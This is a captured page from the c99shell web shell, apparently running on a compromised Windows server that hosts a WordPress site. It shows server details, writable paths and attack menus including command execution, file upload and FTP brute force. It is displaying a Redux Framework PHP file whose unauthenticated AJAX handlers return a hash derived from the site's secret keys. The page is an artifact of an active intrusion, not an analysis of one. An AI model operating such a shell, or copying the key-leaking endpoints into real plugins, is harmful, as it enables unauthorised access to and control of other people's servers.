!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\themes\patti\framework\ReduxFramework\ReduxCore\inc\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.redux_instances.php (6.07 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    
/**
     * Redux Framework Instance Container Class
     * Automatically captures and stores all instances
     * of ReduxFramework at instantiation.
     *
     * @package     Redux_Framework
     * @subpackage  Core
     */
    
class ReduxFrameworkInstances {

        
/**
         * ReduxFrameworkInstances
         *
         * @var object
         */
        
private static $instance;

        
/**
         * ReduxFramework instances
         *
         * @var array
         */
        
private static $instances;

        
/**
         * Get Instance
         * Get ReduxFrameworkInstances instance
         * OR an instance of ReduxFramework by [opt_name]
         *
         * @param  string $opt_name the defined opt_name
         *
         * @return object                class instance
         */
        
public static function get_instance$opt_name false ) {

            if ( 
is_nullself::$instance ) ) {
                
self::$instance = new self();
            }

            if ( 
$opt_name && ! empty( self::$instances$opt_name ] ) ) {
                return 
self::$instances$opt_name ];
            }

            return 
self::$instance;
        }

        
/**
         * Get all instantiated ReduxFramework instances (so far)
         *
         * @return [type] [description]
         */
        
public static function get_all_instances() {
            return 
self::$instances;
        }

        private function 
__construct() {

            
add_action'redux/construct', array( $this'capture' ), 5);

            
$hash md5trailingslashitnetwork_site_url() ) . '-redux' );
            
add_action'wp_ajax_nopriv_' $hash, array( $this'tracking_arg' ) );
            
add_action'wp_ajax_' $hash, array( $this'tracking_arg' ) );

            if (!
class_exists('Redux_Tracking') || !method_exists('Redux_Tracking''trackingObject')) {
                
$hash md5md5AUTH_KEY SECURE_AUTH_KEY '-redux' ) . '-support' );
                
add_action'wp_ajax_nopriv_' $hash, array( $this'support_args' ) );
                
add_action'wp_ajax_' $hash, array( $this'support_args' ) );
            }


        }

        function 
tracking_arg() {
            echo 
md5AUTH_KEY SECURE_AUTH_KEY '-redux' );
            die();
        }

        function 
support_args() {

            
$this->options             get_option'redux-framework-tracking' );
            
$this->options['dev_mode'] = false;

            if ( ! isset( 
$this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) {
                
$this->options['hash'] = md5network_site_url() . '-' $_SERVER['REMOTE_ADDR'] );
                
update_option'redux-framework-tracking'$this->options );
            }

            if ( isset( 
$_GET['redux_framework_disable_tracking'] ) && ! empty( $_GET['redux_framework_disable_tracking'] ) ) {
                
$this->options['allow_tracking'] = false;
                
update_option'redux-framework-tracking'$this->options );
            }

            if ( isset( 
$_GET['redux_framework_enable_tracking'] ) && ! empty( $_GET['redux_framework_enable_tracking'] ) ) {
                
$this->options['allow_tracking'] = true;
                
update_option'redux-framework-tracking'$this->options );
            }

            
header"Expires: Mon, 26 Jul 1997 05:00:00 GMT" );
            
header"Last-Modified: " gmdate"D, d M Y H:i:s" ) . "GMT" );
            
header'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
            
header'Cache-Control: no-store, no-cache, must-revalidate' );
            
header'Cache-Control: post-check=0, pre-check=0'false );
            
header'Pragma: no-cache' );
            
$instances ReduxFrameworkInstances::get_all_instances();

            if ( isset( 
$_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) {
                if ( 
is_array$instances ) && ! empty( $instances ) ) {
                    foreach ( 
$instances as $opt_name => $data ) {
                        if ( 
md5$opt_name '-debug' ) == $_REQUEST['i'] ) {
                            
$array $instances$opt_name ];
                        }
                        if (
$data->args['dev_mode']) {
                            
$this->options['dev_mode'] = $data->args['dev_mode'];
                        }
                    }
                }
                if ( isset( 
$array ) ) {
                    if ( isset( 
$array->extensions ) && is_array$array->extensions ) && ! empty( $array->extensions ) ) {
                        foreach ( 
$array->extensions as $key => $extension ) {
                            if ( isset( 
$extension->$version ) ) {
                                
$array->extensions$key ] = $extension->$version;
                            } else {
                                
$array->extensions$key ] = true;
                            }
                        }
                    }
                    if ( isset( 
$array->import_export ) ) {
                        unset( 
$array->import_export );
                    }
                    if ( isset( 
$array->debug ) ) {
                        unset( 
$array->debug );
                    }
                } else {
                    die();
                }

            } else {
                
$array Redux_Helpers::trackingObject();
                if ( 
is_array$instances ) && ! empty( $instances ) ) {
                    
$array['instances'] = array();
                    foreach ( 
$instances as $opt_name => $data ) {
                        
$array['instances'][] = $opt_name;
                    }
                }
                
$array['key'] = md5AUTH_KEY SECURE_AUTH_KEY );
            }

            echo @
json_encode$arraytrue );
            die();
        }

        function 
capture$ReduxFramework ) {
            
$this->store$ReduxFramework );
        }

        private function 
store$ReduxFramework ) {
            if ( 
$ReduxFramework instanceof ReduxFramework ) {
                
$key                     $ReduxFramework->args['opt_name'];
                
self::$instances$key ] = $ReduxFramework;
            }
        }
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--